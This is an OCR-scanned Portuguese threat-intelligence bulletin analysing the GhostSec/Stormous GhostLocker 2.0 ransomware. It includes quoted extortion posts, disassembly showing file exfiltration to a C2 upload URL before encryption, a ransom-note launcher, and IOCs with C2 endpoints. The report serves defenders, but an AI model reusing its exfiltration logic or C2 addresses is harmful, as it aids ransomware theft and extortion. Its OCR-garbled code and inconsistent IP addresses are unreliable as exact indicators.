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nosso X.
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Heimdall Security Research

A conta oficial do grupo de Threat Intelligence da ISH.
Conheg¢a mais do que fazemos aqui:

Acesse boletins diarios sobre agentes de ameacas,
malwares, indicadores de comprometimentos, TIPs e
outras informacgoes no site da ISH.

Boletins de Seguranca - Heimdall

Malware Ransomware

CONTAS DO FACEBOOK SAD INVADIDAS ALERTA PARA RETORNO DO MALWARE GRUPO DE RANSOMWARE CLOP
POR EXTENSOES MALICIOSAS DE EMOTET! EXPLORANDO VULNERABILIDADE PARA
NAVEGADORES NOVAS VITIMAS

0 malware Emotet apés permanecer alguns
Descoberto recentemente que atores meses sem operagdes retornou cou outro 0 grupo de Ransomware conhecido como
maliciosos utilizam extensdes de meio de propagagao, via OneNote e também ClOp esta explorando ativamente a
navegadores para realizar o roubo de cookies dos métodos ja conhecidos via Planilhas e vulnerabilidade conhecida como
de sessoes de sites como o Facebook. A Documentos do Microsoft Office CVE-2023-0669, na qual realizou o ataque a
extensdo maliciosa é oferecida como um diversas organizagdes e expds os dados no
anexo do ChatGPT. site de data leaks
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1 SUMARIO EXECUTIVO

A equipe da TALOS informou que os grupos de ransomware GhostSec e
Stormous operando juntos para conduzir varios ataques de dupla extorsdo usando
os programas de ransomware GhostLocker e StormousX contra vitimas em paises
como, Cuba, Argentina, Polénia, China, Libano, Israel, Uzbequistéo, india, Africa
do Sul, Brasil, Marrocos, Catar, Turquia, Egito, Vietna, Taildndia e Indonésia, de
acordo com a avaliacdo das mensagens de divulgacdo postadas pelo grupo em
seus canais telegram e no site de vazamento de dados do ransomware Stormous.

Victim

Figura 1 - Paises vitimas dos grupos.
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2 INFORMAGOES SOBRE O GRUPO

A Talos destacou os ataques continuos do grupo aos sistemas industriais,
infraestrutura critica e empresas de tecnologia de Israel. Em 12 de novembro de
2023, alegaram que as organizacoes afetadas também incluiam o Ministério da
Defesa Israelense.

8 GhostSec(1279326086) | 12/11/2023, 19:50:39

With no cooperation from the mother company and even the affected companies including the ministry of defense in Israel, it is

clear they do not care about the data of themselves as corporations and as a government and clearly they do not care about the

data that could affect the customers and clients of company and in the case of the ministry of defense the people in Israel.

With that being said the data is now being offered for sale, we are hoping to move this sale quickly and will be offering the full
151GB for only $4,999

(Part of the money will be used to support Palestine directly, while the remaining will be used to purchase new VPS's and continue
to fund our work!)

New sample: https://gofile.io/d/d912TJ

For purchase contact @GhostSecSR or @GhostSec420

o= %
Figura 2 - Exemplo de mensagens no telegram do Ghostsec.

Esse grupo de hackers que afirma fazer parte de um grupo moderno de Cinco
Familias que inclui ThreatSec, Stormous, Blackforums e SiegedSec em seus
canais como telegram. Suas motivagdes incluem setores financeiros, conduzindo
ataques de extorsado simples e duplos contra vitimas em varias regides geograficas.
Eles também conduziram varios ataques de negacdo de servico (DoS) e
derrubaram sites de vitimas, de acordo com mensagens do canal telegram. Suas
afirmacoes também nos mostraram que seu foco principal é arrecadar fundos para
hacktivistas e atores de ameacas por meio de suas atividades cibercriminosas.

The Five Families(1951766516) | 28/08/2023, 17:10:30

Now for our major announcement, the creation of a modern day Five Families!

A group created to establish better unity and connections for everyone in the underground world of the internet, to expand and grow

our work and operations. We run shit cause we can!

This Group consists and is lead by 5 people under those 5 groups comes their connections, tied groups and respective

communities

The leaders of;
ThreatSec
GhostSec
Stormous
Blackforums

SiegedSec

Cheers to this wonderful formation of the five families and the things we will bring to the table in the very near future M1

Figura 3 - Familias de grupos do telegram.
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Em outubro de 2023, GhostSec anunciou sua nova estrutura de
ransomware-as-a-service (RaaS) chamada GhostLocker . Apds suas operagdes
colaborativas bem-sucedidas com o grupo de ransomware Stormous em julho de
2023 contra os ministérios cubanos, em 14 de outubro de 2023, o grupo Stormous
anunciou que usaria o programa de ransomware GhostLocker além de seu
programa StormousxX.

O grupo compartilhou seus modelos de diagramas de fluxo de trabalho para
afiliados e membros e ndo membros em seus canais do telegram.

affiliated
« membership »

StmX|GhostLocker

SECRET

Distribution of the

program Publishing Sharing ideas,
Request operations,
problem-solving,
news, and updates

decryption
program, and
other features

Communication with
affiliated individuals

Figura 4 — Modelo de trabalho de membros do Stmx_GhostLocker.

E% Affiliates

operator

StmX|GhostLocker

Publishing Sharing ideas,
Request operations

problem-solving,

Negotiation with the victim news, and updates

decryption
program, and
other features

Communication with
affiliated individuals

Figura 5 - Modelo de trabalho de ndo membros do Stmx_GhostLocker.
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3 EVOLUGAO DO GRUPO

Em novembro de 2023, o grupo GhostSec anunciou a versao 2.0, de seu
ransomware GhostLocker chamada GhostLocker 2.0. Recentemente, foi
observado que suas operagdes comecgaram a anunciar sua versdo mais recente do
Golang, “GhostLocker 2.0”, chamando-a de “GhostLocker V2” e mencionando seu
trabalho continuo no GhostLocker V3, indicando sua evolugao continua no
desenvolvimento de seu conjunto de ferramentas.

O GhostLocker 2.0 criptografa os arquivos na maquina da vitima usando a
extensao de arquivo “. ghost” e descarta e abre uma nota de resgate. A nota de
resgate mudou em relagcdo a versao anterior, onde a operadora diz aos usuarios
para protegerem o ID de criptografia exibido na nota de resgate e compartilha-lo
com eles em seu servigo de bate-papo durante a negociagao, clicando em “Clique
em mim”. A operadora menciona ainda que os dados roubados da vitima serao
divulgados caso ela nado consiga contata-la em sete dias.

Ghost

Wo run sh

ALL YOUR IMPORTANT FILES ARE STOLEN AND ENCRYPTED!

YOUR PERSONAL ENCRYPTION 1D I < £ 11115)
CURRENT RANSOM AMOUNT BTC

Attention!
DO NOT pay the ransom 1o anyone eise than the 1op contact informaton mentionod up
[

DO NOT rename the encrypled files:
DO NOT try to decrypt your data using third paty software, it may cause permanent data

Any invoivement of law enforcoment/data recovery leams/third party socurty vendors will
lead to permanent loss of data and a public data release immediately

Figura 6 — Nota de resgate do GhostLocker.

Figura 7 - Nota de resgate do GhostLocker 2.0
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O GhostLocker 2.0 procura os arquivos de destino na maquina da vitima de
acordo com a lista de extensdes de arquivo definida pelo autor e, antes que arotina
de criptografia seja iniciada, ele fard o upload dos arquivos de destino para o
servidor C2 por meio da URL “hxxp[://] 94[.]103[.]191[.]246[/]Jupload” usando o
método de postagem HTTP. O ator configurou o ransomware para exfiltrar e

criptografar os arquivos que possuem extensdes de arquivo .doc, .docx, .xls e
Xlsx.

==
mov rsi, [rsp+lAeh+arg_8]
lea rax, [rsi+rdx]
lea rax, [rax-5]
lea rbx, axlsx 3 ".xlsx”
mow ecx, 5
call runtime_memequal
test al, al
jnz loc_63C209
i T = T
Imow rax, [rsp+lABh+var_E8]
mov rex, [rsp+lABh+var_158] loc_63C2D9:
mow rbx, [rsp+lAGh+var 158] mov rax, [rsp+lAgh+arg 8]
mov rbx, [rsp+lAdh+arg_8]
lea rcx, aHttp941e391246 ; "http://94.1@3.91.246/upload”
mov edi, 1Bh
mov rsi, [rsp+lA@hs+var_Fe]
mov. r8, [rsp+lAgh+var_168]
mov r9, [rsp+lAeh+var_E0]
mov rie, [rsp+lA@h+var_1438]
call main_uploadFile
xor eax, eax
xor ebx, ebx
add rsp, 1Aeh
pop rbp
retn
= ¥
loc_63BF83:
mov rdi, [rsp+lA@h+var_D@]
mov rsi, [rsp+lABh+var_138]
mov r8, [rsp+lAgh+var_128]
call main_encrypt
mov [rsp+lAGh+var_AB], rax
mov [rsp+lAgh+var_D8], rdi
mov [rsp+1ABh+var_18@], rbx
mow [rsp+lA@h+var_FE8], rcx
mov [rsp+laBh+var_14@], rsi
mov [rsp+1ABh+var_138], r8
‘test re, rg
jz loc_63C87A

Figura 8 — Fungéo para exfiltrar arquivos para o servidor C2

Apds a exfiltragcdo bem sucedida, o malware criptografa os arquivos alvo e
anexa “. ghost” como a extensao dos arquivos criptografados. Durante o processo
de criptografia, o malware ignora a pasta “C:\Windows”. Apds completar a rotina
de criptografia, o ransomware insere a nota de resgate incorporada em um arquivo
HTML com o nome de arquivo “Ransomnote.html” na area de trabalho da vitima e
inicia usando o comando " Iniciar” do Windows.

Funtime_slicebytetostring();
strings_Replace();

lepath_join();

= os_writeFile();
- 5 il ¢

= 8unk_657260;
10 = 8&off_724780;
* (_QWOF & =" *(_QuoRr )¢ + 8);
«C )& + 1) = 3LL;
return fmt_Fprintln();

else
e
= 2LL;
= "start";
= SLL;
23 = 3LL;
os_exec_command();
= os_exec___Cmd__Run();
if ( )
{
[2] = &unk_657260;
[3] = &off_724790;
*(_QWORD *)&v8 = =(_QWORD *)(v5 + 8);
* ((_QWOR )& + 1) = 3LL;
else
{
[@] = &unk_657260;
[1] = &off_7247a0;
3 5

return fmt_FfFprintln();

Figura 9 — Fungéo que abre a nota de resgate
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4 RECOMENDAGOES

Além dos indicadores de comprometimento elencados abaixo pela ISH,
poderdo ser adotadas medidas visando a mitigacdo da infeccdo do referido
malware, como por exemplo:

Autenticacao Multifator (MFA)

e Implemente MFA em todos os pontos de acesso remoto. Isso adiciona uma
camada extra de seguranca, exigindo mais do que apenas uma senha para
autenticacao.

Senhas Fortes

e Incentive o uso de senhas fortes e alteragdes regulares de senha. Senhas
fracas sdo vulnerabilidades que os cibercriminosos podem explorar.

Bloqueio Automatico de Conta

e Configure politicas de bloqueio automatico de conta apds varias tentativas
de login malsucedidas. Isso ajuda a evitar ataques de forga bruta.

Listas de Conexoes Permitidas

e Crie listas de permissodes de IPs usando firewalls. Isso restringe o acesso
apenas a enderecos IP confiaveis.

Backup Regular e Criptografado

e Mantenha backups regulares de seus dados importantes. Certifique-se de
que esses backups sejam criptografados e armazenados offline para evitar
que ransomwares os afetem.

Atualizagdes de Software

e Mantenha seus programas e sistemas operacionais atualizados com as
versdes mais recentes. Isso ajuda a corrigir vulnerabilidades conhecidas.

Conscientizagcao dos Colaboradores

e Eduque seus funciondrios sobre praticas seguras de navegacido na web,
phishing e como identificarameagas. Aconscientizagdo é fundamental para
evitar ataques de spearphishing.

Teste Constante de Backups

e Verifique regularmente se seus backups estdo funcionando corretamente e
se vocé pode restaurar os dados quando necessario.
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5 INDICADORES DE COMPROMISSOS

A ISH Tecnologia realiza o tratamento de diversos indicadores de
compromissos coletados por meio de fontes abertas, fechadas e também de
analises realizadas pela equipe de seguranca Heimdall. Diante disto, abaixo
listamos todos os Indicadores de Compromissos (IOCs) relacionadas a analise
do(s) artefato(s) deste relatoério.

Indicadores de compromisso do artefato
md5: f001329114937fbc439f251c803ba825

sha1: 95ae81de52655fac3f1b226f1896690566090640
sha256: a1b468e9550f9960c5e60f7c52cal3c058de19d42eafa760b9d5282eb24b7c55f
File name: 9Q38eDO0cR4AHEY2Ewkjc8OWNWIXGN5R.exe

Indicadores de compromisso do artefato
md5: 8ad67a1b7a5f2428c93f7a13a398e39¢c
CHEYE d4f71fc5479a02c8ff57c90fc67b948adb5604e0
sha256: 8b758ccdfbfabff3a0b67b2063c2397531cf0f7b3d278298da76528f443779e9
File name: qCjSlzgTycCOWKT4KfnzGoXbAB4udBU7.exe
Tabela 1 -Indicadores de Compromissos de artefatos

Indicadores de URL, IPs e Dominios

Indicadores de URL, IPs e Dominios
hxxp[://]194[.]103[.]91[.]246/incrementLaunch
hxxp[://]194[.]103[.]91[.]246/addInfection
hxxp[://]194[.]103[.]91[.]246/victimchat?id=[EncryptionID]
hxxp[://]194[.]103[.]91[.]246/login?next=
hxxp[://]194[.]103[.]91[.]246/upload
94[.1103[.]91[.]246

Tabela 2 - Indicadores de Compromissos de Rede.

Obs: Os links e enderecgos IP elencados acima podem estar ativos; cuidado ao realizar a
manipulagédo dos referidos 10Cs, evite realizar o clique e se tornar vitima do conteudo
malicioso hospedado no loC.

Pagina 12|14




) heimdall

security research

6 REFERENCIAS

e Heimdall by ISH Tecnologia
e Ciscotalos
e Thehackernews

13114



https://blog.talosintelligence.com/ghostsec-ghostlocker2-ransomware/
https://thehackernews.com/2024/03/alert-ghostsec-and-stormous-launch.html

) heimdall

security research

A DIVISION OF ISH




